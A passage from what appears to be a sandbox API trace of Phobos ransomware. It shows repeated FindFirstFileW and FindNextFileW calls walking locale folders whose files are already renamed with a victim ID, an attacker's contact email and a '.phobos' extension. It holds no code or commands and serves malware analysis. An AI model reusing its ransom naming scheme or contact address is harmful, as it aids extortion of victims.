cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.090] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0572ae, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.090] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0572ae, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.090] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.091] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.091] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1035", cAlternateFileName="")) returned 1 [0132.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7392e8 [0132.092] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.092] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8fbb88, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.092] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8fbb88, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8fbb88, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed921dde, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x12de2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.092] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0572ae, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0572ae, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0efd36, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.092] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0572ae, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0572ae, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0efd36, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.092] FindClose (in: hFindFile=0x7392e8 | out: hFindFile=0x7392e8) returned 1 [0132.093] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.093] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1036", cAlternateFileName="")) returned 1 [0132.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7395a8 [0132.094] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.094] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed921dde, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed921dde, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed921dde, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.094] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed947fc1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed947fc1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed96e30a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x14522, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.094] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0efd36, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0efd36, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed1facbc, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.094] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0efd36, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0efd36, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed1facbc, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.094] FindClose (in: hFindFile=0x7395a8 | out: hFindFile=0x7395a8) returned 1 [0132.094] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.095] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1037", cAlternateFileName="")) returned 1 [0132.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7395a8 [0132.095] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.095] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed994489, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.096] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed994489, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed994489, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9ba6bd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x11a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.096] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1facbc, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed1facbc, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.096] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1facbc, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed1facbc, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.096] FindClose (in: hFindFile=0x7395a8 | out: hFindFile=0x7395a8) returned 1 [0132.097] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.097] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1038", cAlternateFileName="")) returned 1 [0132.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7395a8 [0132.097] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.097] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9ba6bd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9ba6bd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcb57b8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1192, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.098] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda53095, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda53095, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda79284, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x152b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.098] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed2935e1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.098] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed2935e1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.098] FindClose (in: hFindFile=0x7395a8 | out: hFindFile=0x7395a8) returned 1 [0132.098] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.098] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1040", cAlternateFileName="")) returned 1 [0132.098] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.099] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.099] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda79284, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda79284, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda79284, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.099] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda79284, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda79284, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcdb897, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x139c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0132.099] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0132.099] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0132.099] FindClose (in: hFindFile=0x7391a8 | out: hFindFile=0x7391a8) returned 1 [0132.100] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.100] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1041", cAlternateFileName="")) returned 1 [0132.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7391a8 [0132.101] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.101] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcb57b8, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcb57b8, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcdb897, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2882, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0132.101] FindNextFileW (in: hFindFile=0x7391a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdb897, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcdb897, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd01aa0, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x10b92, dwReserved0=0x0, dwReserved1=0x0, 